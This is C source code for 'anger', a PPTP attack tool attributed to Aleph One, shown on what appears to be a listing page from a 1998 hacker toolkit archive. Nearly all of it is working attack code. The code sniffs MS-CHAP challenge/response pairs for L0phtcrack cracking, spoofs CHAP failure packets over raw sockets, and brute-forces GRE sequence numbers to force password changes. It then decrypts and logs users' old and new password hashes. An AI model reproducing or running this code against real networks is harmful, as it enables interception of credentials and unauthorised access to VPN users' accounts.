home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Elite Hackers Toolkit
/
TheEliteHackersToolkitVolume1_1998.rar
/
HACKERS.BIN
/
hackers
/
anger_tar.tar
/
anger.tar
/
anger
/
anger.c
next >
Wrap
C/C++ Source or Header
|
1998-08-10
|
18KB
|
677 lines
/*
* anger.c by Aleph One
*
* This program implements:
*
* a) A PPTP challenge/responce sniffer. These c/r can be input into
* L0phtcrack to obtain the password.
*
* b) An active attack on PPTP logons via the MS-CHAP vulnerability to
* obtain the users password hashes. Notice that this also generates
* the password hashes of the new password the user wanted to use.
* These can be input into L0phtcrack to get password, into a modified
* smbclient to logon onto a SMB sever, or into a modified PPP client
* for use with the Linux PPTP client.
*
* You must compile this program against libpcap. If your system implements
* IP_HDRINCL you must also link it against libdes or libcrypto. Example:
*
* gcc -o anger anger.c in_chksum.c -ldes -lpcap
*/
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <errno.h>
#include <pcap.h>
#ifdef IP_HDRINCL
#include <des.h>
#endif
#ifdef __hpux__
#define u_int8_t uint8_t
#define u_int16_t uint16_t
#define u_int32_t uint32_t
#endif
/* define these as appropiate for your architecture */
#define hton8(x) (x)
#define ntoh8(x) (x)
#define hton16(x) htons(x)
#define ntoh16(x) ntohs(x)
#define hton32(x) htonl(x)
#define ntoh32(x) ntohl(x)
#include "pptp.h"
void usage(void);
void fatal(const char *);
void decaps_gre(const unsigned char *, int);
void do_ppp(struct ip *, void *, char *);
void cache_challenge(struct ip *, struct pptp_gre_header *, void *);
void print_l0phtcrack1(struct ip *, struct pptp_gre_header *, void *);
void hexprint(FILE *, const unsigned char *, int);
#ifdef IP_HDRINCL
void send_chap_failure(struct ip *, struct pptp_gre_header *, void *);
void print_l0phtcrack2(struct ip *, void *);
unsigned short in_cksum(unsigned short *addr,int len);
#endif
/*
* Since the are two independant Call ID's per call (one in each direction)
* and the only way to match them is by parsing the TCP control stream
* (which we don't bother to do), we cannot use the Call IDs to match
* responces to challenges. We can only use IP addresses. This is not a
* problem if we have a desktop client connecting to a server, but will
* break if you have multiple clients authenticating at the same time
* via a network access server (ie. sharing the same source IP).
*/
struct challenge {
struct challenge *next;
/* u_int16_t call_id; */
struct in_addr srv;
struct in_addr clt;
unsigned char challenge[8];
unsigned char name[64];
};
struct challenge *challenges = NULL;
struct challenge *last = NULL;
int active_attack = 0;
FILE *hashes, *crs;
int debug = 0;
int rsd;
char outbuff[2048];
int main(int argc, char **argv)
{
int opt, offset;
pcap_t *pcap_h;
char *dev = NULL, error[PCAP_ERRBUF_SIZE];
const unsigned char *pkt;
struct bpf_program filter;
struct pcap_pkthdr pkthdr;
bpf_u_int32 net, mask;
while((opt = getopt(argc, argv, "d:v")) != -1)
{
switch(opt)
{
case 'd':
if (optarg == NULL)
usage();
dev = optarg;
break;
case 'v':
debug++;
break;
default:
usage();
}
}
if (argv[optind] == NULL)
usage();
if((crs = fopen(argv[optind], "a")) == NULL)
fatal(NULL);
#ifdef IP_HDRINCL
optind++;
if (argv[optind] != NULL)
{
active_attack = 1;
if((hashes = fopen(argv[optind], "a")) == NULL)
fatal(NULL);
}
#endif
if ((dev == NULL) && ((dev = pcap_lookupdev(error)) == NULL))
fatal(error);
if ((pcap_h = pcap_open_live(dev, PACKET_MAX + 64, 1, 0, error)) == NULL)
fatal(error);
if (pcap_lookupnet(dev, &net, &mask, error) == -1)
fatal(error);
if (pcap_compile(pcap_h, &filter, "proto 47", 0, net) == -1)
fatal(pcap_geterr(pcap_h));
if (pcap_setfilter(pcap_h, &filter) == -1)
fatal(pcap_geterr(pcap_h));
switch(pcap_datalink(pcap_h))
{
case DLT_EN10MB: offset = 14; break;
case DLT_NULL: offset = 4; break;
case DLT_SLIP:
case DLT_PPP: offset = 24; break;
case DLT_RAW: offset = 0; break;
default: fatal("pcap_datalink");
}
#ifdef IP_HDRINCL
if (active_attack)
{
int on=1;
if ((rsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
fatal(NULL);
if (setsockopt(rsd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(int)) == -1)
fatal(NULL);
}
#endif
while(1)
{
if ((pkt = pcap_next(pcap_h, &pkthdr)) == NULL)
continue;
pkt += offset;
decaps_gre(pkt, pkthdr.caplen - offset);
}
pcap_close(pcap_h);
#ifdef IP_HDRINCL
close(rsd);
#endif
exit(0);
}
void usage(void)
{
#ifdef IP_HDRINCL
printf("usage: anger [ -v ] [ -d device ] output1 [ output2 ]\n\n");
printf("Write sniffed challenge/responces to output1.\n");
#else
printf("usage: anger [ -v ] [ -d device ] output1\n\n");
printf("Write sniffed challenge/responces to output1.\n");
printf("If output2 is given it will perform an active attack on\n");
printf("PPTP connections and write the password hashes to output2.\n\n");
#endif
printf("\t-d\tDevice to open for sniffing.\n");
printf("\t-v\tSome diagnostics.\n\n");
exit(1);
}
void fatal(char const *msg)
{
if (msg == NULL)
perror("anger");
else
printf("%s\n", msg);
exit(1);
}
void decaps_gre(const unsigned char *buffer, int status)
{
struct ip *ip;
struct pptp_gre_header *header;
ip = (struct ip *)buffer;
if (ip->ip_v != 4)
fatal("No IP header!");
header = (struct pptp_gre_header *)(buffer + (ip->ip_hl * 4));
/* verify packet (else discard) */
if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1 */
(ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
PPTP_GRE_IS_C(ntoh8(header->flags)) || /* flag C should be clear */
PPTP_GRE_IS_R(ntoh8(header->flags)) || /* flag R should be clear */
(!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */
((ntoh8(header->flags)&0xF)!=0)) /* routing and recursion ctrl = 0 */
{
/* if invalid, discard this packet */
printf("Discarding GRE: %X %X %X %X %X %X",
ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
PPTP_GRE_IS_C(ntoh8(header->flags)),
PPTP_GRE_IS_R(ntoh8(header->flags)),
PPTP_GRE_IS_K(ntoh8(header->flags)),
ntoh8(header->flags)&0xF);
return;
}
if (PPTP_GRE_IS_S(ntoh8(header->flags))) /* payload present */
{
unsigned headersize = sizeof(*header);
unsigned payload_len= ntoh16(header->payload_len);
if (!PPTP_GRE_IS_A(ntoh8(header->ver)))
headersize -= sizeof(header->ack);
/* check for incomplete packet (length smaller than expected) */
if (status-headersize<payload_len)
{
printf("incomplete packet\n");
return;
}
do_ppp((struct ip*)buffer, header, ((char *)header) + headersize);
return;
}
return; /* ack, but no payload */
}
void do_ppp(struct ip *ip, void *gre, char *pack)
{
struct ppp_header *ppp;
struct ppp_lcp_chap_header *chap;
struct in_addr dst, src;
u_int16_t proto;
ppp = (struct ppp_header *)pack;
/*
* During PPP'c LCP phase one or both sizes may configure the use
* of the PPP Address and Control Field Compression option. This
* option simply allows a party to stop sending the PPP address and
* control field. Since I am to lazy to keep track of whether one or
* both sides negociate this option we simply test each incomming PPP
* frame to see if it begins with 0xff and 0x03. If they don't we
* assume ACFC has been negociated.
*/
if ((ntoh8(ppp->address) != 0xff) && (ntoh8(ppp->control) != 0x3))
{
proto = ntoh16(*((u_int16_t *)pack));
chap = (struct ppp_lcp_chap_header *)(pack + sizeof(u_int16_t));
}
else
{
proto = ntoh16(ppp->proto);
chap = (struct ppp_lcp_chap_header *)(pack + sizeof(struct ppp_header));
}
dst.s_addr = ip->ip_dst.s_addr;
src.s_addr = ip->ip_src.s_addr;
if (proto == PPP_PROTO_CHAP)
{
switch(ntoh8(chap->code))
{
case PPP_CHAP_CODE_CHALLENGE:
if (debug > 0)
{
printf("%s <- ", inet_ntoa(dst));
printf("%s CHAP Challenge\n", inet_ntoa(src));
}
cache_challenge(ip, gre, chap);
case PPP_CHAP_CODE_RESPONCE:
if (debug > 0)
{
printf("%s <- ", inet_ntoa(dst));
printf("%s CHAP Responce\n", inet_ntoa(src));
}
print_l0phtcrack1(ip, gre, chap);
#ifdef IP_HDRINCL
/* if we are actively attacking them send failure */
if (active_attack)
send_chap_failure(ip, gre, chap);
#endif
break;
#ifdef IP_HDRINCL
case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
print_l0phtcrack2(ip, chap);
break;
#endif
}
}
}
void cache_challenge(struct ip *ip, struct pptp_gre_header *gre, void *pack)
{
struct {
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge challenge;
} *p;
struct challenge *ptr;
p = pack;
for (ptr = challenges; ptr != NULL; ptr = challenges->next)
{
if ((ptr->clt.s_addr == ip->ip_dst.s_addr) &&
(ptr->srv.s_addr == ip->ip_src.s_addr))
break;
}
if (ptr == NULL)
{
if ((ptr = malloc(sizeof(struct challenge))) == NULL)
fatal(NULL);
ptr->next = challenges;
ptr->clt.s_addr = ip->ip_dst.s_addr;
ptr->srv.s_addr = ip->ip_src.s_addr;
challenges = ptr;
}
memcpy(ptr->challenge, p->challenge.value.challenge, 8);
}
void print_l0phtcrack1(struct ip *ip, struct pptp_gre_header *gre, void *pack)
{
struct {
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge responce;
} *p;
struct challenge *ptr;
struct challenge *prev = NULL;
p = pack;
for (ptr = challenges; ptr != NULL; prev = ptr, ptr = challenges->next)
{
if ((ptr->clt.s_addr == ip->ip_src.s_addr) &&
(ptr->srv.s_addr == ip->ip_dst.s_addr))
break;
}
if (ptr != NULL)
{
unsigned char name[64];
int len;
bzero(name, 64);
len = ntoh16(p->chap.length) - 54;
bcopy(((char *)p) + 54, name, len);
name[len] = '\0';
/*
* L0phtcrack dislikes c/r entries with more than 5 fields so we
* put tthe client server information in the username field.
*/
fprintf(crs, "%s (Server %s ", name, inet_ntoa(ptr->srv));
fprintf(crs, "Client %s):0:", inet_ntoa(ptr->clt));
hexprint(crs, ptr->challenge, 8);
fprintf(crs, ":");
hexprint(crs, p->responce.value.responce.lanman, 24);
fprintf(crs, ":");
hexprint(crs, p->responce.value.responce.nt, 24);
fprintf(crs, "\n");
fflush(crs);
/*
* If we are performing an active attack we will need the challenge
* to decrypt the password hashes. We wait until then to free this cache
* entry.
*
* We also save the name if we are performing an active attack.
*/
if (!active_attack)
{
if (prev == NULL)
challenges = NULL;
else
prev->next = ptr-> next;
free(ptr);
}
else
{
memcpy(ptr->name, name, 64);
ptr->name[64] = '\0';
}
}
}
#ifdef IP_HDRINCL
void send_chap_failure(struct ip *ip, struct pptp_gre_header *gre, void *pack)
{
int len, i;
struct {
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge responce;
} *p;
struct {
struct ip ip;
struct pptp_gre_header gre;
struct ppp_header ppp;
struct ppp_lcp_chap_header chap;
char message[64];
} pkt;
struct sockaddr_in dst_addr;
struct in_addr dst, src;
p = pack;
dst.s_addr = ip->ip_dst.s_addr;
src.s_addr = ip->ip_src.s_addr;
if (debug > 0)
{
printf("%s -> ", inet_ntoa(dst));
printf("%s CHAP Failure (spoofed)\n",inet_ntoa(src));
}
len = sizeof(struct ppp_header) + sizeof(struct ppp_lcp_chap_header) +
strlen(MSCHAP_ERROR);
bzero(&pkt, sizeof(pkt));
pkt.ip.ip_v = IPVERSION;
pkt.ip.ip_hl = 5;
pkt.ip.ip_len = hton16(sizeof(pkt));
pkt.ip.ip_id = hton16(31337);
pkt.ip.ip_ttl = hton8(64);
pkt.ip.ip_p = hton8(PPTP_PROTO);
pkt.ip.ip_src = ip->ip_dst;
pkt.ip.ip_dst = ip->ip_src;
pkt.ip.ip_sum = in_cksum((unsigned short *)&pkt.ip, sizeof(struct ip));
pkt.gre.flags = hton8 (PPTP_GRE_FLAG_K|PPTP_GRE_FLAG_S);
pkt.gre.ver = hton8 (PPTP_GRE_VER|PPTP_GRE_FLAG_A);
pkt.gre.protocol = hton16(PPTP_GRE_PROTO);
pkt.gre.payload_len = hton16(len);
/*
* To fake the server's CHAP failure message we need to know the Call ID
* that the other end assigned to it. This is a problem as the only way
* to know it is by parsing the TCP control session between the two and
* seeing the outgoing call request and reply. To much work for me to bother.
* luckily the Windows NT and Windows 95 PPTP client always assigns a Call ID
* of zero!
*/
pkt.gre.call_id = 0;
pkt.gre.ack = gre->seq;
/*
* One or both sides may have negociated address and control field compression.
* Luckly this is just a hint to the remote end that we can accept compressed
* frames, not an indication that we will send them out that way. This allows
* us to send an uncompressed frame that will be accepted even when they
* have negociated compression.
*
* From RFC1331:
*
* On reception, the Address and Control fields are decompressed by
* examining the first two octets. If they contain the values 0xff
* and 0x03, they are assumed to be the Address and Control fields.
* If not, it is assumed that the fields were compressed and were not
* transmitted.
*
* If a compressed frame is received when Address-and-Control-Field-
* Compression has not been negotiated, the implementation MAY
* silently discard the frame.
*/
pkt.ppp.address = hton8(PPP_ADDRESS);
pkt.ppp.control = hton8(PPP_CONTROL);
pkt.ppp.proto = hton16(PPP_PROTO_CHAP);
pkt.chap.code = hton8(PPP_CHAP_CODE_FAILURE);
pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR));
strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
dst_addr.sin_family = AF_INET;
dst_addr.sin_addr.s_addr = ip->ip_src.s_addr;
dst_addr.sin_port = 0;
len += sizeof(struct ip) + sizeof(struct pptp_gre_header);
/* send it a few times, loosy network */
for (i=0; i < 3; i++)
{
if (PPTP_GRE_IS_A(gre->ver))
{
/* the packet we are responding to has an acknowledgement number *
* we can use that to calculate or sequence number */
pkt.gre.seq = hton32(ntoh32(gre->ack) + 1);
if (sendto(rsd, &pkt, len, 0, (struct sockaddr *)&dst_addr,
sizeof(dst_addr)) == -1)
fatal(NULL);
}
else
{
/*
* The last packet did not have an acknowledgement number so we
* have no idea the sequence number should be, but since authentication
* is negociated at the begining of the connection and the GRE
* implementation starts counting at zero we can brute force it.
*/
int x;
for (x=0; x < 10; x++)
{
pkt.gre.seq = hton32(x);
if (sendto(rsd, &pkt, len, 0, (struct sockaddr *)&dst_addr,
sizeof(dst_addr)) == -1)
fatal(NULL);
}
}
}
}
void print_l0phtcrack2(struct ip *ip, void *pack)
{
unsigned char out[8], out2[8], key[8];
struct {
struct ppp_lcp_chap_header chap;
struct ppp_mschap_change_password passwds;
} *pkt;
des_key_schedule ks;
struct in_addr dst, src;
struct challenge *ptr, *prev = NULL;
dst.s_addr = ip->ip_dst.s_addr;
src.s_addr = ip->ip_src.s_addr;
for (ptr = challenges; ptr != NULL; prev = ptr, ptr = challenges->next)
{
if ((ptr->clt.s_addr == ip->ip_src.s_addr) &&
(ptr->srv.s_addr == ip->ip_dst.s_addr))
break;
}
if (ptr == NULL)
{
printf("Can't find challenge to decrypt hashes.\n");
return;
}
memcpy(key, ptr->challenge, 8);
pkt = pack;
if (debug > 0)
{
printf("%s <- ", inet_ntoa(dst));
printf("%s MSCHAP Change Password Version 1 Packet.\n", inet_ntoa(src));
}
fprintf(hashes, "%s:0:", ptr->name);
/* Turn off checking for weak keys within libdes */
des_check_key=0;
des_set_odd_parity((des_cblock *)key);
des_set_key((des_cblock *)key, ks);
des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,
(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8),
(des_cblock *)out2, ks, 0);
hexprint(hashes, out, 8);
hexprint(hashes, out2, 8);
fprintf(hashes, ":");
des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,
(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8),
(des_cblock *)out2, ks, 0);
hexprint(hashes, out, 8);
hexprint(hashes, out2, 8);
fprintf(hashes, ":");
fprintf(hashes, "(Old Password) Server %s ", inet_ntoa(ptr->srv));
fprintf(hashes, "Client %s::\n", inet_ntoa(ptr->clt));
fprintf(hashes, "%s:0:", ptr->name);
des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,
(des_cblock *)out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8),
(des_cblock *)out2, ks, 0);
hexprint(hashes, out, 8);
hexprint(hashes, out2, 8);
fprintf(hashes, ":");
des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,
(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8),
(des_cblock *)out2, ks, 0);
hexprint(hashes, out, 8);
hexprint(hashes, out2, 8);
fprintf(hashes, ":");
fprintf(hashes, "(New Password, Length = %d) Server %s",
ntoh16(pkt->passwds.pass_length), inet_ntoa(ptr->srv));
fprintf(hashes, "Client %s::\n", inet_ntoa(ptr->clt));
fflush(hashes);
/* Free it now */
if (prev == NULL)
challenges = NULL;
else
prev->next = ptr-> next;
free(ptr);
}
#endif /* IP_HDRINCL */
void hexprint(FILE *out, const unsigned char *in, int len)
{
int i;
for (i = 0; i < len; i++)
/* ineficient - XXX */
fprintf(out, "%02X", in[i]);
}